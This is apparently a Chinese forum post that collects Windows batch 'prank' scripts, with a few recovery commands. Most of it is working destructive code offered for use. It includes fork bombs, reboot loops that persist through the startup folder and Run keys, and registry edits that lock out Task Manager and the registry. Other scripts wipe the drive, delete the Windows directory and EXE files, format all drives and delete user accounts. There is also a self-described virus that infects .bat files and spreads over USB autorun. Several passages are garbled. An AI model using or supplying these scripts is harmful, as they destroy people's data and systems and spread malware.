　　第一组:最简单最绝的死机bat

　　:si

　　start "" cmd

　　goto si

　　被我发现的话一条命令就解决了：

　　taskkill /im /f cmd.EⅩE

　　我自己在制作循环的时候中招了，我就是这样搞定的．

　　顺序上这样的

　　taskkill??/f /im cmd.EⅩE

　　第二组:不断重启机器

　　@echo off

　　shutdown -r -t 3

　　copy %0 C:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat

　　copy %0 c:\autoexec.bat

　　REG ADD HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG\_SZ /d c:\autoexec.bat /f

　　REG ADD HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG\_SZ /d c:\autoexec.bat /f

　　attrib autoexec.bat +r +s +h

　　REG ADD HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG\_DWORD /d 00000000 /f

　　del %0

　　第三组:常用注册表修改

　　整人常用注册表修改

　　1:禁止使用运行

　　reg add

　　hkey\_current\_user\software\microsoft\windows\currentversion\policies\explorer /v norun /t reg\_dword /d 00000001 /f

　　2:禁止显示驱动器

　　reg add

　　hkey\_current\_user\software\microsoft\windows\currentversion\policies\explorer /v nodrives /t reg\_dword /d 429467295 /f

　　3:禁止访问驱动器

　　reg add

　　hkey\_current\_user\software\microsoft\windows\currentversion\policies\explorer /v noviewondrive /t reg\_dword /d 数值 /f

　　4:禁止使用注册表

　　REG ADD HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Disableregistrytools /t REG\_DWORD /d 00000001 /f

　　5禁止使用桌面

　　REG ADD HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V NoDesktop /t REG\_DWORD /d 00000001 /f

　　6:禁止使用任务管理器

　　REG ADD HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG\_DWORD /d 00000001 /f

　　7:去除快捷方式的小箭头

　　reg delete

　　hkey\_class\_root\lnkfile /v isshortcut /f

　　8:禁止使用大多数程序

　　reg add hkey\_current\_user\software\microsoft\windows\currentversion\policies\explorer /v

　　restrictrun /t reg\_dword /d 00000001 /f

　　9:显示快捷方式的扩展名

　　reg delete

　　hkey\_class\_root\lnkfile /v nevershowext /f

　　10:禁止任务栏(资源管理器)快捷菜单

　　reg add hkey\_current\_user\software\microsoft\windows\currentversion\policies\explorer /v

　　notraycontextmenu /t reg\_dword /d 00000001 /f

　　11:禁止桌面右键菜单

　　reg add hkey\_current\_user\software\microsoft\windows\currentversion\policies\explorer /v noviewcontextmenu /t reg\_dword /d 00000001 /f

　　第四组:清空硬盘以及解脱

　　硬盘清空

　　rd /q/s "%~d0"

　　占满硬盘

　　type "%~f0" >> "%~f0"

　　第二种:

　　set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

　　for /l %%a in (1,1,1000) do for %%b in (%alldrive%) do md %%b:\%random%%random%%random%%%a..\

　　解决一下。

　　Echo Off

　　set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

　　for %%l in (%alldrive%) do (

　　? ? if not exist %%l:\ goto ok

　　? ? For /f "delims=" %%i In ('dir /ad /b %%l:\^|find /i "."') do rd %%l:\%%i.\ 2>nul

　　)

　　k

　　echo 清除完成...........

　　pause

　　第五组:一刀杀机:

　　@echo off

　　title 你要over了！！！

　　cd C:\Documents and Settings\%username%\「开始」菜单\程序\启动

　　if exist 456.bat goto next

　　goto upover

　　:next

　　start 123.bat

　　:upover

　　echo shutdown -s -t 0 &gt;456.bat

　　exit

　　将文件保存为123.bat,双击体验热的感觉．（原理很简单－－调用自身）

　　伙计们，感觉如何，你的机器是不是很热，不得不重启，但是你的机器很快就陷入重启的循环中．．．．．．．．．．

　　解决问题：

　　进入安全模式找到１２３.bat 删除就搞定了．

　　第六组:垃圾满天

　　@echo off

　　set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

　　for /L %%a in (1,1,10000) do for %%b in (%alldrive%) do mkdir %%b:\jay%%a..\

　　第七组:扫荡者及解脱

　　你要想恶作剧就用我这个，“扫荡者”

　　@echo off

　　copy %0 "%userprofile%\「开始」菜单\程序\启动\1.bat"

　　@reg??add "HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg\_dword /d 00000001 /f

　　echo rd %windei%/windos /s /q & goto 1>d:\explorer.bat

　　echo :1>>d:\explorer.bat

　　echo del d:\\*.EⅩE /f /s /q>>d:\explorer.bat

　　echo del e:\\*.EⅩE /f /s /q>>d:\explorer.bat

　　start d:\explorer.bat

　　exit

　　@echo off

　　关闭回现

　　copy %0 "%userprofile%\「开始」菜单\程序\启动\1.bat"

　　将本BAT加入到启动项，开机就运行

　　@reg??add "HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg\_dword /d 00000001 /f

　　锁注册表

　　echo @echo off>d:\explorer.bat

　　将破坏部分写入d:\explorer.bat，运行后不看扩展名不容易识别

　　echo rd %windir% /s /q & goto 1>>d:\explorer.bat

　　删除系统目录，若操作无法实现就跳转到标签1

　　echo :1>>d:\explorer.bat

　　标签1

　　echo del d:\\*.EⅩE /f /s /q>>d:\explorer.bat

　　删除D盘所有EXE文件

　　echo del e:\\*.EⅩE /f /s /q>>d:\explorer.bat

　　删除E盘所有EXE文件

　　start d:\explorer.bat

　　运行这个BAT

　　exit

　　第八组:所有东西变图片:

　　@echo off

　　cd\

　　for /f "delims=" %%i in (&#39;dir /s .&#39;) do @ren %%i \*.jpg

　　exit/b

　　第九组:死机炸弹

　　@echo off

　　c:

　　cd windows

　　dir \*.com/a/b/s >>c:\a.txt

　　dir \*.EⅩE/a/b/s >>c:\b.txt

　　for /r c: %%i in (\*.EⅩE) do doskey %%i = 不是内部或外部命令，也不是可运行的程序

　　for /r c: %%i in (\*.com) do doskey %%i = 不是内部或外部命令，也不是可运行的程序

　　第十组:立即死机

　　@echo off

　　for /l %%i in (0,1,254) do start %%i

　　第十一组:乱加硬盘分区及解决

　　@echo off

　　echo 请稍等......正在为你加硬盘分区..................

　　md d:\fly >nul 2>nul

　　set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z

　　for %%a in (%a%) do subst %%a: d:\fly >nul 2>nul

　　echo\

　　echo 打开＂我的电脑＂看看.........够不够用呀..........

　　ping 127.1 -n 5 >nul

　　exit

　　修复:

　　@echo off&color 1e

　　title 请稍等......正在为你还原硬盘分区..................

　　set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z

　　for %%a in (%a%) do subst %%a: /d

　　echo\

　　cls&echo 谢谢您的使用....请打开我的电脑查看修复ping 127.1 -n 3 >nul

　　exit

　　第十二组:屏幕炸弹及解决

　　@echo off

　　if not exist "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「开始」菜单\程序\启动\power.bat"&gt;nul

　　echo @echo off&gt;%windir%\power.bat

　　echo if "%%1"=="" goto :end&gt;&gt;%windir%\power.bat

　　echo if exist C:\\_stop goto :EOF&gt;&gt;%windir%\power.bat

　　echo start /B %%~fs0 exp&gt;&gt;%windir%\power.bat

　　echo :s&gt;&gt;%windir%\power.bat

　　echo if not exist C:\\_stop goto s&gt;&gt;%windir%\power.bat

　　echo exit&gt;&gt;%windir%\power.bat

　　echo :end&gt;&gt;%windir%\power.bat

　　echo del %%~fs0&gt;&gt;%windir%\power.bat

　　echo set ws=CreateObject("W.Shell")&gt;%windir%\power.vbs

　　echo ws.Run "%windir%\power.bat exp",0 &gt;&gt;%windir%\power.vbs

　　W %windir%\power.vbs

　　del %windir%\power.vbs

　　set p=%~ps0

　　if not %p:~-3,2%==启动 del %~fs0

　　:x

　　taskkill /f /im cmd.EⅩE

　　goto x

　　很容易的杀掉

　　第十三组:吃内存

　　:p

　　echo start C:\1.bat >> C:\1.bat

　　start C:\1.bat

　　goto p

　　:loop

　　start "" "%systemdrive%\program files\internet explorer\iexplore.EⅩE" -k "blank"

　　goto loop

　　第十四组真正的病毒

　　@echo off

　　%ozone%^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^%ozone%

　　%ozone%? ???%Name??:REON%? ?? ?? ?? ?? ?%ozone%

　　%ozone%? ???%Author:Ozone [verybat.cn]%? ?%ozone%

　　%ozone%? ???%Data??:17/04/2007%? ?? ?? ???%ozone%

　　%ozone%^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^%ozone%

　　if exsit %SystemDrive%\PAGEFILES.SYS goto end

　　copy %0 %windir%\system32\logon.bat? ?? ?? ?? ?? ?? ?? ?::复制自身

　　FOR /F "tokens=3\*" %%i in ('dir /-c %SystemDrive%^|find "可用字节"') do fsutil file createnew %SystemDrive%\PAGEFILES.SYS %%i? ?::制造超大文件,轰炸硬盘

　　attrib +r +s +h %SystemDrive%\PAGEFILES.SYS? ?? ???::隐藏文件

　　reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v KV2007 /t REG\_SZ /d %windir%\system32\logon.vbs? ?? ?? ?? ?? ?? ?? ? ::自动启动

　　reg delete HKLM\Software\Microsoft\windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /va /f? ?? ?? ?? ?? ?? ???::不显示隐藏文件

　　for /r %SystemDrive% %%i in (\*.bat) do type %0>%%i? ?? ? ::感染

　　if exist %windir%\system32\logon.vbs goto end

　　+++++++++++++++++++++++++=VBS部分+++++++++++++++++++++++++++++++++++++++

　　echo on error resume next>%windir%\system32\logon.vbs

　　echo strComputer = ".">>%windir%\system32\logon.vbs

　　echo set fs =createobject("ing.filesystemobject")>>%windir%\system32\logon.vbs

　　echo set WshShell = W.CreateObject("W.Shell")>>%windir%\system32\logon.vbs

　　echo Set objWMIService = GetObject("winmgmts:" \_>>%windir%\system32\logon.vbs

　　echo ^& "{impersonationLevel=impersonate}!\\" ^& strComputer ^& "\root\cimv2")>>%windir%\system32\logon.vbs

　　echo Set colDisks = objWMIService.EⅩEcQuery \_>>%windir%\system32\logon.vbs

　　echo ("Select \* from Win32\_LogicalDisk")>>%windir%\system32\logon.vbs

　　::监视u盘

　　echo For i =1 to 9000000000>>%windir%\system32\logon.vbs

　　echo For Each objDisk in colDisks>>%windir%\system32\logon.vbs

　　echo Select Case objDisk.DriveType>>%windir%\system32\logon.vbs

　　echo :Case 2:>>%windir%\system32\logon.vbs

　　::判断u盘中是否存在autorun.inf,不存在则写入autorun.inf并且隐藏.

　　echo y1=fs.FileExists(objDisk.DeviceID ^& "\AUTORUN.INF")>>%windir%\system32\logon.vbs

　　echo if not y1 then>>%windir%\system32\logon.vbs

　　echo set f=fs.opentextfile(objDisk.DeviceID ^& "\AUTORUN.INF",2, true)>>%windir%\system32\logon.vbs

　　echo f.write "[AutoRun]" ^& vbcrlf>>%windir%\system32\logon.vbs

　　echo f.write "open=logon.bat" ^& vbcrlf>>%windir%\system32\logon.vbs

　　echo f.write "shellexecute=logon.bat" ^& vbcrlf>>%windir%\system32\logon.vbs

　　echo f.write "shell\Auto\command=logon.bat" ^& vbcrlf>>%windir%\system32\logon.vbs

　　echo f.Close>>%windir%\system32\logon.vbs

　　echo Set f1 = fs.GetFile(objDisk.DeviceID ^& "\AUTORUN.INF")>>%windir%\system32\logon.vbs

　　echo If f1.Attributes = f1.Attributes AND 2 Then>>%windir%\system32\logon.vbs

　　echo :f1.Attributes = f1.Attributes XOR 7:>>%windir%\system32\logon.vbs

　　echo End If>>%windir%\system32\logon.vbs

　　echo end if>>%windir%\system32\logon.vbs

　　::判断u盘中是否存在logon.bat,如果不存在则写入logon.bat并隐藏.

　　echo y2=fs.FileExists(objDisk.DeviceID ^& "\logon.bat")>>%windir%\system32\logon.vbs

　　echo if not y2 then >>%windir%\system32\logon.vbs

　　echo fs.CopyFile "c:\windows\system32\logon.bat",objDisk.DeviceID ^& "\">>%windir%\system32\logon.vbs

　　echo Set f2 = fs.GetFile(objDisk.DeviceID ^& "\logon.bat")>>%windir%\system32\logon.vbs

　　echo If f2.Attributes = f2.Attributes AND 2 Then>>%windir%\system32\logon.vbs

　　echo :f2.Attributes = f2.Attributes XOR 7:>>%windir%\system32\logon.vbs

　　echo End If>>%windir%\system32\logon.vbs

　　echo end if>>%windir%\system32\logon.vbs

　　echo dirr = Wshshell.ExpandEnvironmentStrings("%systemdrive%")>>%windir%\system32\logon.vbs

　　::判断u盘中是否存在PAGEFILES.SYS,如果不存在则写入PAGEFILES.SYS并隐藏.

　　echo y3=fs.FileExists(dirr & "\PAGEFILES.SYS")>>%windir%\system32\logon.vbs

　　echo if not y3 then>>%windir%\system32\logon.vbs

　　echo WshShell.Run "logon.bat">>%windir%\system32\logon.vbs

　　echo W.Sleep 500>>%windir%\system32\logon.vbs

　　echo Set f3 = fs.GetFile(dirr & "\PAGEFILES.SYS")>>%windir%\system32\logon.vbs

　　echo If f3.Attributes = f3.Attributes AND 2 Then>>%windir%\system32\logon.vbs

　　echo :f3.Attributes = f3.Attributes XOR 7:>>%windir%\system32\logon.vbs

　　echo End If>>%windir%\system32\logon.vbs

　　echo end if>>%windir%\system32\logon.vbs

　　echo End Select>>%windir%\system32\logon.vbs

　　echo Next>>%windir%\system32\logon.vbs

　　::每隔5秒扫描一次.

　　echo W.Sleep 5000>>%windir%\system32\logon.vbs

　　echo Next>>%windir%\system32\logon.vbs

　　::运行logon.vbs脚本程序

　　start %windir%\system32\logon.vbs

　　++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

　　:end

　　@echo off

echo 开始

:2

start cmd.exe

goto 2

就是主要是利用goto 来跳转到:2

循环跳转...就是循环用start 打开CMD ^^

友情提示...死机不负责.......

也可以利用

别的

@echo off

net user

%0

这里的核心是%0 他表示本身 就是循环运行本身^^

这里循环运行net user

上面主要把别人电脑整死机

下面我们利用修改注册表来恶整

常见修改注册表

就是开机加载 这世界人都知道

@echo off

echo wahaha

reg add HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run/v ctfmon.exe(开机加载文件的名字) /d C:\WINDOWS\system32\ctfmon.exe(这里是开机加载文件的路径)

这里可以添加一个开始我们弄的哪个strat 这个

@echo off

echo echo 开始 >c:\windows\cnhacker.bat

echo :2 >>c:\windows\cnhacker.bat

echo start cmd.exe >>c:\windows\cnhacker.bat

echo goto 2>>c:\windows\cnhacker.bat

这里自动在windows下生成cnhacker.bat

然后利用上面开机加载 写起...就OK拉

修改IE栏

reg add "HKEY\_CURRENT\_USER\Software\Microsoft\Internet Explorer\Main" /v "window title" /t REG\_SZ /d "要改的名字...." /f

屏蔽修改主页那里

reg add "HKEY\_CURRENT\_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG\_DWORD /d 00000001 /f

简单硬盘炸弹(多生成垃圾文章)

echo off

set a=0

:22

set /a a=%a%+1

echo laji >C:\%a%.txt

goto 22

如何要效果好 最好加一段vbs代码 隐藏运行 在C盘制造大量的垃圾TXT文件

修改不电脑显示

REG ADDHKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL/v CheckedValue /t REG\_DWORD /d 00000000 /f

把00000000 改成00000001 就可以恢复

这段大家不要实验......

就是利用%username%

net user %username% /del (删除当前使用的用户 不可以直接删除ADMINISTRATOR用户外)

造成你电脑上面ADMINISTRATOR桌面资料丢失

net user %username% /add

NET LOCALGROUP ADMINISTRATORS %username% /add

强行结束smss.exe 进程

ntsd -c q -pn smss.exe (结束该进程你的电脑即将卡死鼠标不能用)

shutdown -a (放弃关闭计算机)

危险不要实验

迅速格式所有盘符

for /f %%i in (d:,e:f:g:h:) do format /q /y %%i

这个必须要利用记事本保存 然后.bat 才能够执行 在CMD下面 无法执行

　　死亡之ping

　　?start Speed.bat

ping 127.0.0.1 -l 65500 -t

%0

　　~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~原创内容~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

　　copy /y %0 "%userprofile%\「开始」菜单\程序\启动\Speed.bat"

　　copy /y %0 "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Speed.bat"

　　shutdown -r -f -t 0

　　CreateObject("SAPI.SpVoice").Speak